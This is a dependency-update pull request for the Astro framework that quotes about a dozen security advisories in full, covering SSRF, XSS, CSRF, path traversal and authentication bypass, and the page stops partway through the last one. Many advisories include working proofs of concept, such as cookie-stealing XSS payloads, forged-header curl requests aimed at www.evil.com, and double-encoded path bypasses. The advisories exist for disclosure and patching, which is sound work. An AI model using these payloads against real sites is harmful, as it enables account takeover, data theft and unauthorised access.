security(deps): Update dependency astro #86

Merged
Richard Banks merged 1 commit from renovate/npm-astro-vulnerability into main 2026-06-18 04:28:51 +00:00
Contributor

This PR contains the following updates:

Package Change Age Confidence
astro (source) ^4.0.0 || ^5.0.0 || ^6.0.0^6.4.6 ^6.4.6 ^6.4.6 age confidence
astro (source) 6.4.36.4.6 age confidence

Astro: Host header SSRF in prerendered error page fetch

CVE-2026-54299 / GHSA-2pvr-wf23-7pc7

More information

Details

Summary

Astro SSR apps with prerendered error pages (/404 or /500 using export const prerender = true) fetch those pages over HTTP at runtime when an error occurs. The URL for this fetch is derived from request.url, which in turn gets its origin from the incoming Host header. When the Host header is not validated against allowedDomains, an attacker can point the fetch at an arbitrary host and read the response.

Who is affected

This affects SSR deployments that:

  1. Have a prerendered 404 or 500 page
  2. Use createRequestFromNodeRequest from astro/app/node with app.render() without overriding prerenderedErrorPageFetch — this includes custom servers built on the public API and third-party adapters

Not affected:

  • @astrojs/node >= 9.5.4 (reads error pages from disk)
  • @astrojs/cloudflare (uses the ASSETS binding)
  • The dev server (renders error pages in-process)
How it works

createRequestFromNodeRequest builds request.url from the raw Host / :authority header. The allowedDomains option is accepted but only gates X-Forwarded-For — it does not constrain the URL origin. (The public createRequest does fall back to localhost for unvalidated hosts; this internal builder did not.)

When app.render() encounters a 404 or 500 with a prerendered error route, default-handler.ts constructs the error page URL using the origin from request.url and fetches it via prerenderedErrorPageFetch, which defaults to global fetch. The response body is served to the client.

An attacker sends a request with Host: attacker-host:port, triggers an error (e.g., requesting a nonexistent path for a 404), and receives the response from the attacker-controlled host reflected back.

Remediation

The error page fetch origin is now validated against allowedDomains before use. When the host is validated, the original origin is preserved. Otherwise, it falls back to localhost. The fetch is also wrapped in a try/catch so that connection failures degrade gracefully to a plain error response.

Credit

5ud0 / Tarmo Technologies

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro: XSS via Unescaped Attribute Names in Spread Props

CVE-2026-54298 / GHSA-jrpj-wcv7-9fh9

More information

Details

Summary

The spreadAttributes function in Astro's server-side rendering pipeline iterates over object keys and passes them directly to addAttribute, which interpolates the key into the HTML output without escaping. When a developer uses the spread syntax {...props} on an HTML element and the object keys come from an untrusted source (API, CMS, URL parameters), an attacker can inject arbitrary HTML attributes including event handlers like onmousemove, onclick, or break out of the attribute context entirely to inject new elements.

Details

The vulnerable function is addAttribute at packages/astro/src/runtime/server/render/util.ts:81-141:

export function addAttribute(value: any, key: string, shouldEscape = true, tagName = '') {
    if (value == null) {
        return '';
    }
    
    return markHTMLString(` ${key}="${toAttributeString(value, shouldEscape)}"`); //  key interpolated not escaped
}

This function is called from spreadAttributes at packages/astro/src/runtime/server/index.ts:91-92:

for (const [key, value] of Object.entries(values)) {
    output += addAttribute(value, key, true, _name);
}

The toAttributeString function escapes the attribute value, but the attribute name key is never validated or escaped. An attacker can craft a JSON object with a key containing " characters to break out of the attribute context and inject event handlers.

Execution flow: User controlled object keys (from API, CMS, URL params) are spread onto element via {...props}. The compiler generates spreadAttributes(props) which iterates with Object.entries() and calls addAttribute(value, key). The key is interpolated as ` ${key}="${escapedValue}"`. A malicious key breaks attribute context, resulting in XSS.

POC

Create an SSR Astro page (src/pages/index.astro):

---
const props = JSON.parse(Astro.url.searchParams.get('props') || '{}');
---
<html>
<body>
  <h1>Hello</h1>
  <div {...props}>Move mouse here</div>
</body>
</html>

Enable SSR in astro.config.mjs (for URL based demo):

export default defineConfig({
  output: 'server'
});

Note: SSR is not required for the vulnerability to exist. In static builds (default), the attack vector is compromised data sources at build time (API, CMS, database). SSR simply makes the PoC easier to demonstrate via URL parameters.

Start the dev server and visit:

http://localhost:4321/?props={"x\" onmousemove=\"alert(document.cookie)\" y":""}

URL encoded:

http://localhost:4321/?props=%7B%22x%5C%22%20onmousemove%3D%5C%22alert(document.cookie)%5C%22%20y%22%3A%22%22%7D

View the HTML source. The output contains:

<div x" onmousemove="alert(document.cookie)" y="">Move mouse here</div>

The key x" onmousemove="alert(document.cookie)" y breaks out of the attribute context. Moving the mouse over the div executes the JavaScript.

Captura de tela 2026-06-02 005906
Impact

An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any Astro application that spreads object props from untrusted sources onto HTML elements. This is a common pattern when integrating with external APIs or CMS systems. Exploitation enables session hijacking via cookie theft, credential theft by injecting fake login forms or keyloggers, defacement of the rendered page, and redirection to attacker controlled domains.

The vulnerability affects all Astro versions that support spread syntax on HTML elements and is exploitable in SSR, SSG (if build time data is compromised), and hybrid deployments.

Severity

  • CVSS Score: 4.2 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


DOM Clobbering Gadget found in astro's client-side router that leads to XSS

CVE-2024-47885 / GHSA-m85w-3h95-hcf9

More information

Details

Summary

A DOM Clobbering gadget has been discoverd in Astro's client-side router. It can lead to cross-site scripting (XSS) in websites enables Astro's client-side routing and has stored attacker-controlled scriptless HTML elements (i.e., iframe tags with unsanitized name attributes) on the destination pages.

Details
Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Astro

We identified a DOM Clobbering gadget in Astro's client-side routing module, specifically in the <ViewTransitions /> component. When integrated, this component introduces the following vulnerable code, which is executed during page transitions (e.g., clicking an <a> link):

github.com/withastro/astro@7814a6cad1/packages/astro/src/transitions/router.ts (L135-L156)

However, this implementation is vulnerable to a DOM Clobbering attack. The document.scripts lookup can be shadowed by an attacker injected non-script HTML elements (e.g., <img name="scripts"><img name="scripts">) via the browser's named DOM access mechanism. This manipulation allows an attacker to replace the intended script elements with an array of attacker-controlled scriptless HTML elements.

The condition script.dataset.astroExec === '' on line 138 can be bypassed because the attacker-controlled element does not have a data-astroExec attribute. Similarly, the check on line 134 can be bypassed as the element does not require a type attribute.

Finally, the innerHTML of an attacker-injected non-script HTML elements, which is plain text content before, will be set to the .innerHTML of an script element that leads to XSS.

PoC

Consider a web application using Astro as the framework with client-side routing enabled and allowing users to embed certain scriptless HTML elements (e.g., form or iframe). This can be done through a bunch of website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

For PoC website, please refer to: https://stackblitz.com/edit/github-4xgj2d. Clicking the "about" button in the menu will trigger an alert(1) from an attacker-injected form element.

---
import Header from "../components/Header.astro";
import Footer from "../components/Footer.astro";
import { ViewTransitions } from "astro:transitions";
import "../styles/global.css";
const { pageTitle } = Astro.props;
---
<html lang="en">
  <head>
    <meta charset="utf-8" />
    <link rel="icon" type="image/svg+xml" href="/favicon.svg" />
    <meta name="viewport" content="width=device-width" />
    <meta name="generator" content={Astro.generator} />
    <title>{pageTitle}</title>
    <ViewTransitions />
  </head>
  <body>
    <!--USER INPUT-->
    <iframe name="scripts">alert(1)</iframe>
    <iframe name="scripts">alert(1)</iframe>
    <!--USER INPUT-->
    
    <Header />
    <h1>{pageTitle}</h1>
    <slot />
    <Footer />
    <script>
      import "../scripts/menu.js";
    </script>
  </body>
</html>
Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that built with Astro that enable the client-side routing with ViewTransitions and store the user-inserted scriptless HTML tags without properly sanitizing the name attributes on the page.

Patch

We recommend replacing document.scripts with document.getElementsByTagName('script') for referring to script elements. This will mitigate the possibility of DOM Clobbering attacks leveraging the name attribute.

Reference

Similar issues for reference:

Severity

  • CVSS Score: 5.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Atro CSRF Middleware Bypass (security.checkOrigin)

CVE-2024-56140 / GHSA-c4pw-33h3-35xw

More information

Details

Summary

A bug in Astro’s CSRF-protection middleware allows requests to bypass CSRF checks.

Details

When the security.checkOrigin configuration option is set to true, Astro middleware will perform a CSRF check. (Source code: github.com/withastro/astro@6031962ab5/packages/astro/src/core/app/middlewares.ts)

For example, with the following Astro configuration:

// astro.config.mjs
import { defineConfig } from 'astro/config';
import node from '@&#8203;astrojs/node';

export default defineConfig({
	output: 'server',
	security: { checkOrigin: true },
	adapter: node({ mode: 'standalone' }),
});

A request like the following would be blocked if made from a different origin:

// fetch API or <form action="https://test.example.com/" method="POST">
fetch('https://test.example.com/', {
	method: 'POST',
	credentials: 'include',
	body: 'a=b',
	headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
});
// => Cross-site POST form submissions are forbidden

However, a vulnerability exists that can bypass this security.

Pattern 1: Requests with a semicolon after the Content-Type

A semicolon-delimited parameter is allowed after the type in Content-Type.

Web browsers will treat a Content-Type such as application/x-www-form-urlencoded; abc as a simple request and will not perform preflight validation. In this case, CSRF is not blocked as expected.

fetch('https://test.example.com', {
	method: 'POST',
	credentials: 'include',
	body: 'test',
	headers: { 'Content-Type': 'application/x-www-form-urlencoded; abc' },
});
// => Server-side functions are executed (Response Code 200).
Pattern 2: Request without Content-Type header

The Content-Type header is not required for a request. The following examples are sent without a Content-Type header, resulting in CSRF.

// Pattern 2.1 Request without body
fetch('http://test.example.com', { method: 'POST', credentials: 'include' });

// Pattern 2.2 Blob object without type
fetch('https://test.example.com', {
	method: 'POST',
	credentials: 'include',
	body: new Blob(['a=b'], {}),
});
Impact

Bypass CSRF protection implemented with CSRF middleware.

Note

Even with credentials: 'include', browsers may not send cookies due to third-party cookie blocking. This feature depends on the browser version and settings, and is for privacy protection, not as a CSRF measure.

Severity

  • CVSS Score: 5.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro's server source code is exposed to the public if sourcemaps are enabled

CVE-2024-56159 / GHSA-49w6-73cw-chjr

More information

Details

Summary

A bug in the build process allows any unauthenticated user to read parts of the server source code.

Details

During build, along with client assets such as css and font files, the sourcemap files for the server code are moved to a publicly-accessible folder.
github.com/withastro/astro@176fe9f113/packages/astro/src/core/build/static-build.ts (L139)

Any outside party can read them with an unauthorized HTTP GET request to the same server hosting the rest of the website.

While some server files are hashed, making their access obscure, the files corresponding to the file system router (those in src/pages) are predictably named. For example. the sourcemap file for src/pages/index.astro gets named dist/client/pages/index.astro.mjs.map.

PoC

Here is one example of an affected open-source website:
https://creatorsgarten.org/pages/index.astro.mjs.map

The file can be saved and opened using https://evanw.github.io/source-map-visualization/ to reconstruct the source code.

The above accurately mirrors the source code as seen in the repository: https://github.com/creatorsgarten/creatorsgarten.org/blob/main/src/pages/index.astro

The above was found as the 4th result (and the first one on Astro 5.0+) when making the following search query on GitHub.com (search results link):

path:astro.config.mjs @&#8203;sentry/astro

This vulnerability is the root cause of https://github.com/withastro/astro/issues/12703, which links to a simple stackblitz project demonstrating the vulnerability. Upon build, notice the contents of the dist/client (referred to as config.build.client in astro code) folder. All astro servers make the folder in question accessible to the public internet without any authentication. It contains .map files corresponding to the code that runs on the server.

Impact

All server-output (SSR) projects on Astro 5 versions v5.0.3 through v5.0.6 (inclusive), that have sourcemaps enabled, either directly or through an add-on such as sentry, are affected. The fix for server-output projects was released in astro@5.0.7.

Additionally, all static-output (SSG) projects built using Astro 4 versions 4.16.17 or older, or Astro 5 versions 5.0.7 or older, that have sourcemaps enabled are also affected. The fix for static-output projects was released in astro@5.0.8, and backported to Astro v4 in astro@4.16.18.

The immediate impact is limited to source code. Any secrets or environment variables are not exposed unless they are present verbatim in the source code.

There is no immediate loss of integrity within the the vulnerable server. However, it is possible to subsequently discover another vulnerability via the revealed source code .

There is no immediate impact to availability of the vulnerable server. However, the presence of an unsafe regular expression, for example, can quickly be exploited to subsequently compromise the availability.

  • Network attack vector.
  • Low attack complexity.
  • No privileges required.
  • No interaction required from an authorized user.
  • Scope is limited to first party. Although the source code of closed-source third-party software may also be exposed.
Remediation

The fix for server-output projects was released in astro@5.0.7, and the fix for static-output projects was released in astro@5.0.8 and backported to Astro v4 in astro@4.16.18. Users are advised to update immediately if they are using sourcemaps or an integration that enables sourcemaps.

Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:L/SA:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro allows unauthorized third-party images in _image endpoint

CVE-2025-55303 / GHSA-xf8x-j4p2-f749

More information

Details

Summary

In affected versions of astro, the image optimization endpoint in projects deployed with on-demand rendering allows images from unauthorized third-party domains to be served.

Details

On-demand rendered sites built with Astro include an /_image endpoint which returns optimized versions of images.

The /_image endpoint is restricted to processing local images bundled with the site and also supports remote images from domains the site developer has manually authorized (using the image.domains or image.remotePatterns options).

However, a bug in impacted versions of astro allows an attacker to bypass the third-party domain restrictions by using a protocol-relative URL as the image source, e.g. /_image?href=//example.com/image.png.

Proof of Concept
  1. Create a new minimal Astro project (astro@5.13.0).

  2. Configure it to use the Node adapter (@astrojs/node@9.1.0 — newer versions are not impacted):

    // astro.config.mjs
    import { defineConfig } from 'astro/config';
    import node from '@&#8203;astrojs/node';
    
    export default defineConfig({
    	adapter: node({ mode: 'standalone' }),
    });
    
  3. Build the site by running astro build.

  4. Run the server, e.g. with astro preview.

  5. Append /_image?href=//placehold.co/600x400 to the preview URL, e.g. http://localhost:4321/_image?href=//placehold.co/600x400

  6. The site will serve the image from the unauthorized placehold.co origin.

Impact

Allows a non-authorized third-party to create URLs on an impacted site’s origin that serve unauthorized image content.
In the case of SVG images, this could include the risk of cross-site scripting (XSS) if a user followed a link to a maliciously crafted SVG.

Severity

  • CVSS Score: 6.4 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro's X-Forwarded-Host is reflected without validation

CVE-2025-61925 / GHSA-5ff5-9fcw-vg88

More information

Details

Summary

When running Astro in on-demand rendering mode using a adapter such as the node adapter it is possible to maliciously send an X-Forwarded-Host header that is reflected when using the recommended Astro.url property as there is no validation that the value is safe.

Details

Astro reflects the value in X-Forwarded-Host in output when using Astro.url without any validation.

It is common for web servers such as nginx to route requests via the Host header, and forward on other request headers. As such as malicious request can be sent with both a Host header and an X-Forwarded-Host header where the values do not match and the X-Forwarded-Host header is malicious. Astro will then return the malicious value.

This could result in any usages of the Astro.url value in code being manipulated by a request. For example if a user follows guidance and uses Astro.url for a canonical link the canonical link can be manipulated to another site. It is not impossible to imagine that the value could also be used as a login/registration or other form URL as well, resulting in potential redirecting of login credentials to a malicious party.

As this is a per-request attack vector the surface area would only be to the malicious user until one considers that having a caching proxy is a common setup, in which case any page which is cached could persist the malicious value for subsequent users.

Many other frameworks have an allowlist of domains to validate against, or do not have a case where the headers are reflected to avoid such issues.

PoC
  • Check out the minimal Astro example found here: https://github.com/Chisnet/minimal_dynamic_astro_server
  • nvm use
  • yarn run build
  • node ./dist/server/entry.mjs
  • curl --location 'http://localhost:4321/' --header 'X-Forwarded-Host: www.evil.com' --header 'Host: www.example.com'
  • Observe that the response reflects the malicious X-Forwarded-Host header

For the more advanced / dangerous attack vector deploy the application behind a caching proxy, e.g. Cloudflare, set a non-zero cache time, perform the above curl request a few times to establish a cache, then perform the request without the malicious headers and observe that the malicious data is persisted.

Impact

This could affect anyone using Astro in an on-demand/dynamic rendering mode behind a caching proxy.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro Development Server has Arbitrary Local File Read

CVE-2025-64757 / GHSA-x3h8-62x9-952g

More information

Details

Summary

A vulnerability has been identified in the Astro framework's development server that allows arbitrary local file read access through the image optimization endpoint. The vulnerability affects Astro development environments and allows remote attackers to read any image file accessible to the Node.js process on the host system.

Details
  • Title: Arbitrary Local File Read in Astro Development Image Endpoint
  • Type: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
  • Component: /packages/astro/src/assets/endpoint/node.ts
  • Affected Versions: Astro v5.x development builds (confirmed v5.13.3)
  • Attack Vector: Network (HTTP GET request)
  • Authentication Required: None

The vulnerability exists in the Node.js image endpoint handler used during development mode. The endpoint accepts an href parameter that specifies the path to an image file. In development mode, this parameter is processed without adequate path validation, allowing attackers to specify absolute file paths.

Vulnerable Code Location: packages/astro/src/assets/endpoint/node.ts

// Vulnerable code in development mode
if (import.meta.env.DEV) {
    fileUrl = pathToFileURL(removeQueryString(replaceFileSystemReferences(src)));
} else {
    // Production has proper path validation
    // ... security checks omitted in dev mode
}

The development branch bypasses the security checks that exist in the production code path, which validates that file paths are within the allowed assets directory.

PoC
Attack Prerequisites
  1. Astro development server must be running (astro dev)
  2. The /_image endpoint must be accessible to the attacker
  3. Target image files must be readable by the Node.js process
Exploit Steps
  1. Start Astro Development Server:

    astro dev  # Typically runs on http://localhost:4321
    
  2. Craft Malicious Request:

    GET /_image?href=/[ABSOLUTE_PATH_TO_IMAGE]&w=100&h=100&f=png HTTP/1.1
    Host: localhost:4321
    
  3. Example Attack:

    curl "http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png" -o stolen.png
    
Demonstration Results

Test Environment: macOS with Astro v5.13.3

Successful Exploitation:

  • Target: /System/Library/Image Capture/Automatic Tasks/MakePDF.app/Contents/Resources/0blank.jpg
  • Response: HTTP 200 OK, Content-Type: image/png
  • Exfiltration: 303 bytes (100x100 PNG)
  • File Created: stolen-image.png containing processed system image

Attack Payload:

http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png

Server Response:

Status: 200 OK
Content-Type: image/png
Content-Length: 303
Impact
Confidentiality Impact: HIGH
  • Scope: Any image file readable by the Node.js process
  • Exfiltration Method: Complete file contents via HTTP response (transformed to PNG)
Integrity Impact: NONE
  • The vulnerability only allows reading files, not modification
Availability Impact: NONE
  • No direct impact on system availability
  • Potential for resource exhaustion through repeated large image requests
Affected Components
Primary Component
  • File: packages/astro/src/assets/endpoint/node.ts
  • Function: loadLocalImage()
  • Lines: Development mode branch (~25-35)
Secondary Components
  • File: packages/astro/src/assets/endpoint/generic.ts
  • Impact: Uses different code path, not directly vulnerable
  • Note: Implements proper remote allowlist validation

Severity

  • CVSS Score: 3.5 / 10 (Low)
  • Vector String: CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro vulnerable to URL manipulation via headers, leading to middleware and CVE-2025-61925 bypass

CVE-2025-64525 / GHSA-hr2q-hp5q-x767

More information

Details

Summary

In impacted versions of Astro using on-demand rendering, request headers x-forwarded-proto and x-forwarded-port are insecurely used, without sanitization, to build the URL. This has several consequences the most important of which are:

  • Middleware-based protected route bypass (only via x-forwarded-proto)
  • DoS via cache poisoning (if a CDN is present)
  • SSRF (only via x-forwarded-proto)
  • URL pollution (potential SXSS, if a CDN is present)
  • WAF bypass
Details

The x-forwarded-proto and x-forwarded-port headers are used without sanitization in two parts of the Astro server code. The most important is in the createRequest() function. Any configuration, including the default one, is affected:

https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L97
https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L121

These header values are then used directly to construct URLs.

By injecting a payload at the protocol level during URL creation (via the x-forwarded-proto header), the entire URL can be rewritten, including the host, port and path, and then pass the rest of the URL, the real hostname and path, as a query so that it doesn't affect (re)routing.

If the following header value is injected when requesting the path /ssr:

x-forwarded-proto: https://www.malicious-url.com/?tank=

The complete URL that will be created is: https://www.malicious-url.com/?tank=://localhost/ssr

As a reminder, URLs are created like this:

url = new URL(`${protocol}://${hostnamePort}${req.url}`);

The value is injected at the beginning of the string (${protocol}), and ends with a query ?tank= whose value is the rest of the string, ://${hostnamePort}${req.url}.

This way there is control over the routing without affecting the path, and the URL can be manipulated arbitrarily. This behavior can be exploited in various ways, as will be seen in the PoC section.

The same logic applies to x-forwarded-port, with a few differences.

Note

The createRequest function is called every time a non-static page is requested. Therefore, all non-static pages are exploitable for reproducing the attack.

PoC

The PoC will be tested with a minimal repository:

  • Latest Astro version at the time (2.16.0)
  • The Node adapter
  • Two simple pages, one SSR (/ssr), the other simulating an admin page (/admin) protected by a middleware
  • A middleware example copied and pasted from the official Astro documentation to protect the admin page based on the path

Download the PoC repository

Middleware-based protected route bypass - x-forwarded-proto only

The middleware has been configured to protect the /admin route based on the official documentation:

// src/middleware.ts
import { defineMiddleware } from "astro/middleware";

export const onRequest = defineMiddleware(async (context, next) => {
  const isAuthed = false; // auth logic
  if (context.url.pathname === "/admin" && !isAuthed) {
    return context.redirect("/");
  }
  return next();
});
  1. When tryint to access /admin the attacker is naturally redirected :

    curl -i http://localhost:4321/admin
    
    image
  2. The attackr can bypass the middleware path check using a malicious header value:

    curl -i -H "x-forwarded-proto: x:admin?" http://localhost:4321/admin
    
    image
How ​​is this possible?

Here, with the payload x:admin?, the attacker can use the URL API parser to their advantage:

  • x: is considered the protocol
  • Since there is no //, the parser considers there to be no authority, and everything before the ? character is therefore considered part of the path: admin

During a path-based middleware check, the path value begins with a /: context.url.pathname === "/admin". However, this is not the case with this payload; context.url.pathname === "admin", the absence of a slash satisfies both the middleware check and the router and consequently allows us to bypass the protection and access the page.

SSRF

As seen, the request URL is built from untrusted input via the x-forwarded-protocol header, if it turns out that this URL is subsequently used to perform external network calls, for an API for example, this allows an attacker to supply a malicious URL that the server will fetch, resulting in server-side request forgery (SSRF).

Example of code reusing the "origin" URL, concatenating it to the API endpoint :

image
DoS via cache poisoning

If a CDN is present, it is possible to force the caching of bad pages/resources, or 404 pages on the application routes, rendering the application unusable.

A 404 cab be forced, causing an error on the /ssr page like this : curl -i -H "x-forwarded-proto: https://localhost/vulnerable?" http://localhost:4321/ssr
image

Same logic applies to x-forwarded-port : curl -i -H "x-forwarded-port: /vulnerable?" http://localhost:4321/ssr

How ​​is this possible?

The router sees the request for the path /vulnerable, which does not exist, and therefore returns a 404, while the potential CDN sees /ssr and can then cache the 404 response, consequently serving it to all users requesting the path /ssr.

URL pollution

The exploitability of the following is also contingent on the presence of a CDN, and is therefore cache poisoning.

If the value of request.url is used to create links within the page, this can lead to Stored XSS with x-forwarded-proto and the following value:

x-forwarded-proto: javascript:alert(document.cookie)//

results in the following URL object:

image

It is also possible to inject any link, always, if the value of request.url is used on the server side to create links.

x-forwarded-proto: https://www.malicious-site.com/bad?

The attacker is more limited with x-forwarded-port

If the value of request.url is used to create links within the page, this can lead to broken links, with the header and the following value:

X-Forwarded-Port: /nope?

Example of an Astro website:
Capture d’écran 2025-11-03 à 22 07 14

WAF bypass

For this section, Astro invites users to read previous research on the React-Router/Remix framework, in the section "Exploitation - WAF bypass and escalations". This research deals with a similar case, the difference being that the vulnerable header was x-forwarded-host in their case:

https://zhero-web-sec.github.io/research-and-things/react-router-and-the-remixed-path

Note: A section addressing DoS attacks via cache poisoning using the same vector was also included there.

CVE-2025-61925 complete bypass

It is possible to completely bypass the vulnerability patch related to the X-Forwarded-Host header.

By sending x-forwarded-host with an empty value, the forwardedHostname variable is assigned an empty string. Then, during the subsequent check, the condition fails because forwardedHostname returns false, its value being an empty string:

if (forwardedHostname && !App.validateForwardedHost(...))

Consequently, the implemented check is bypassed. From this point on, since the request has no host (its value being an empty string), the path value is retrieved by the URL parser to set it as the host. This is because the http/https schemes are considered special schemes by the WHATWG URL Standard Specification, requiring an authority state.

From there, the following request on the example SSR application (astro repo) yields an SSRF:
Capture d’écran 2025-11-06 à 21 18 26
empty x-forwarded-host + the target host in the path

Credits
  • Allam Rachid (zhero;)
  • Allam Yasser (inzo)

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro's middleware authentication checks based on url.pathname can be bypassed via url encoded values

CVE-2025-64765 / GHSA-ggxq-hp9w-j794

More information

Details

A mismatch exists between how Astro normalizes request paths for routing/rendering and how the application’s middleware reads the path for validation checks. Astro internally applies decodeURI() to determine which route to render, while the middleware uses context.url.pathname without applying the same normalization (decodeURI).

This discrepancy may allow attackers to reach protected routes (e.g., /admin) using encoded path variants that pass routing but bypass validation checks.

github.com/withastro/astro@ebc4b1cde8/packages/astro/src/vite-plugin-astro-server/request.ts (L40-L44)

/** The main logic to route dev server requests to pages in Astro. */
export async function handleRequest({
    pipeline,
    routesList,
    controller,
    incomingRequest,
    incomingResponse,
}: HandleRequest) {
    const { config, loader } = pipeline;
    const origin = `${loader.isHttps() ? 'https' : 'http'}://${
        incomingRequest.headers[':authority'] ?? incomingRequest.headers.host
    }`;

    const url = new URL(origin + incomingRequest.url);
    let pathname: string;
    if (config.trailingSlash === 'never' && !incomingRequest.url) {
        pathname = '';
    } else {
        // We already have a middleware that checks if there's an incoming URL that has invalid URI, so it's safe
        // to not handle the error: packages/astro/src/vite-plugin-astro-server/base.ts
        pathname = decodeURI(url.pathname); // here this url is for routing/rendering
    }

    // Add config.base back to url before passing it to SSR
    url.pathname = removeTrailingForwardSlash(config.base) + url.pathname; // this is used for middleware context

Consider an application having the following middleware code:

import { defineMiddleware } from "astro/middleware";

export const onRequest = defineMiddleware(async (context, next) => {
  const isAuthed = false;  // simulate no auth
  if (context.url.pathname === "/admin" && !isAuthed) {
    return context.redirect("/");
  }
  return next();
});

context.url.pathname is validated , if it's equal to /admin the isAuthed property must be true for the next() method to be called. The same example can be found in the official docs https://docs.astro.build/en/guides/authentication/

context.url.pathname returns the raw version which is /%61admin while pathname which is used for routing/rendering /admin, this creates a path normalization mismatch.

By sending the following request, it's possible to bypass the middleware check

GET /%61dmin HTTP/1.1
Host: localhost:3000
image

Remediation

Ensure middleware context has the same normalized pathname value that Astro uses internally, because any difference could allow it to bypass such checks. In short maybe something like this

        pathname = decodeURI(url.pathname);
    }

    // Add config.base back to url before passing it to SSR
-    url.pathname = removeTrailingForwardSlash(config.base) + url.pathname;
+    url.pathname = removeTrailingForwardSlash(config.base) + decodeURI(url.pathname);

Thank you, let @​Sudistark know if any more info is needed. Happy to help :)

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro has an Authentication Bypass via Double URL Encoding, a bypass for CVE-2025-64765

CVE-2025-66202 / GHSA-whqg-ppgf-wp8c

More information

Details

Authentication Bypass via Double URL Encoding in Astro
Bypass for CVE-2025-64765 / GHSA-ggxq-hp9w-j794

Summary

A double URL encoding bypass allows any unauthenticated attacker to bypass path-based authentication checks in Astro middleware, granting unauthorized access to protected routes. While the original CVE-2025-64765 (single URL encoding) was fixed in v5.15.8, the fix is insufficient as it only decodes once. By using double-encoded URLs like /%2561dmin instead of /%61dmin, attackers can still bypass authentication and access protected resources such as /admin, /api/internal, or any route protected by middleware pathname checks.

Fix

A more secure fix is just decoding once, then if the request has a %xx format, return a 400 error by using something like :

if (containsEncodedCharacters(pathname)) {
            // Multi-level encoding detected - reject request
            return new Response(
                'Bad Request: Multi-level URL encoding is not allowed',
                {
                    status: 400,
                    headers: { 'Content-Type': 'text/plain' }
                }
            );
        }

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro vulnerable to reflected XSS via the server islands feature

CVE-2025-64764 / GHSA-wrwg-2hg8-v723

More information

Details

Summary

After some research it appears that it is possible to obtain a reflected XSS when the server islands feature is used in the targeted application, regardless of what was intended by the component template(s).

Details

Server islands run in their own isolated context outside of the page request and use the following pattern path to hydrate the page: /_server-islands/[name]. These paths can be called via GET or POST and use three parameters:

  • e: component to export
  • p: the transmitted properties, encrypted
  • s: for the slots

Slots are placeholders for external HTML content, and therefore allow, by default, the injection of code if the component template supports it, nothing exceptional in principle, just a feature.

This is where it becomes problematic: it is possible, independently of the component template used, even if it is completely empty, to inject a slot containing an XSS payload, whose parent is a tag whose name is is the absolute path of the island file. Enabling reflected XSS on any application, regardless of the component templates used, provided that the server islands is used at least once.

How ?

By default, when a call is made to the endpoint /_server-islands/[name], the value of the parameter e is default, pointing to a function exported by the component's module.

Upon further investigation, we find that two other values ​​are possible for the component export (param e) in a typical configuration: url and file. file returns a string value corresponding to the absolute path of the island file. Since the value is of type string, it fulfills the following condition and leads to this code block:

image

An entire template is created, completely independently, and then returned:

  • the absolute path name is sanitized and then injected as the tag name
